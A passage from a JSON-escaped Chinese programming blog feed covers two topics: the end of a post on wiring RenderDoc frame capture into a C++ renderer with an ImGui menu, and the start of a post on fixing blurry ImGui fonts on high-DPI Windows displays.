class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003etuple\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003emake_tuple\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003everMajor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003everMinor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003everPatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eGetAPIVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003everMajor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003everMinor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003everPatch\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003emake_tuple\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estatic_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003everMajor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003everMinor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003everPatch\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"快捷键和-UI\"\u003e快捷键和 UI\u003ca class=\"headerlink\" href=\"#快捷键和-UI\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e这部分用 ImGui 实现,使用快捷键 \u003ccode\u003eAlt+C\u003c/code\u003e 就能截帧。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"UI 效果\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240824233322.png\" /\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMainMenuBar\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eShortcut\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGuiMod_Alt\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGuiKey_C\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGuiInputFlags_RouteAlways\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eCaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RenderDoc\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eMenuItem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Capture\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Alt+C\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e()))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eCaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eSeparatorText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Information\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Library\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eTextUnformatted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;API Version\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003emajor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epatch\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;%d.%d.%d\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emajor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epatch\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Num Captures\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;%d\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMenu\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEndMainMenuBar\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/baldurk/renderdoc/issues/418\"\u003ed3d debug runtime doesn't work with RenderDoc? · Issue #418 · baldurk/renderdoc (github.com)\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/baldurk/renderdoc/blob/v1.x/renderdoc/driver/d3d12/d3d12_device.h\"\u003erenderdoc/renderdoc/driver/d3d12/d3d12_device.h at v1.x · baldurk/renderdoc (github.com)\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/renderdoc-integration/"},{"title":"ImGui 适配高 DPI 显示器","time":"2024-07-21T15:42:26Z","content":"\u003ch1 id=\"ImGui-适配高-DPI-显示器\"\u003eImGui 适配高 DPI 显示器\u003ca class=\"headerlink\" href=\"#ImGui-适配高-DPI-显示器\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e解决高 DPI 显示器下 ImGui 字体模糊的问题。\u003c/p\u003e\n\u003ch2 id=\"DPI\"\u003eDPI\u003ca class=\"headerlink\" href=\"#DPI\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003eDPI 全称 Dots per inch,即每英寸的点数,对于显示器来说就是每英寸的像素数量。\u003c/p\u003e\n\u003ch2 id=\"Display-Scale-Factor\"\u003eDisplay Scale Factor\u003ca class=\"headerlink\" href=\"#Display-Scale-Factor\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e早期的显示器基本都是 96 DPI 的,所以那时候的应用程序 UI 都是以 96 DPI 为标准的。现在显示器的 DPI 普遍比 96 高,这意味着同样大小的显示器,像素数量变多了。早期的应用程序放到现在的显示器上,尽管占用的像素数量和以前一样,但是显示器的像素密度大了,所以看上去应用程序的界面变小了。\u003c/p\u003e\n\u003cp\u003e为了解决上面的问题,Windows 引入了一个 Display Scale Factor,一般是显示器 DPI 除以基准值 96 的结果。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"显示缩放\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240722000504.png\" /\u003e\u003c/p\u003e\n\u003cp\u003eWindows 会骗应用程序说 DPI 还是 96,让它以 \u003ccode\u003eWindowSize / DisplayScaleFactor\u003c/code\u003e 的大小绘制界面,然后 Windows 再把界面放大 \u003ccode\u003eDisplayScaleFactor\u003c/code\u003e 倍。但是这样会导致界面变的不清晰。\u003c/p\u003e\n\u003ch2 id=\"DPI-感知\"\u003eDPI 感知\u003ca class=\"headerlink\" href=\"#DPI-感知\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e就是自己处理 DPI,不让 Windows 缩放。在应用启动时,调用 API 设置 Per-Monitor (V2) DPI Awareness。\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocessdpiawarenesscontext\"\u003eSetProcessDpiAwarenessContext function (winuser.h) - Win32 apps | Microsoft Learn\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eSetProcessDpiAwarenessContext\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cblockquote\u003e\n\u003cp\u003eImGui 提供了 \u003ccode\u003eImGui_ImplWin32_EnableDpiAwareness()\u003c/code\u003e,但是我这里调用它以后显示有问题。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e利用 ImGui 的 API 可以方便地拿到缩放值(Display Scale Factor)。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui_ImplWin32_GetDpiScaleForHwnd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003em_WindowHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e初始化导入字体时,将字体占用的像素大小改为:96 DPI 下的基准值乘上 \u003ccode\u003edpiScale\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eImGuiIO\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetIO\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFonts\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eAddFontFromFileTTF\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e15.0f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在窗体消息函数里,收到 \u003ccode\u003eWM_DPICHANGED\u003c/code\u003e(DPI 变化)时,重新加载字体,应用新的缩放,再设置窗体大小。\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/hidpi/wm-dpichanged\"\u003eWM_DPICHANGED message (WinUser.h) - Win32 apps | Microsoft Learn\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"no\"\u003eWM_DPICHANGED\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edpiScale\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui_ImplWin32_GetDpiScaleForHwnd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003em_WindowHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eio\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eImGui\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eGetIO\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e 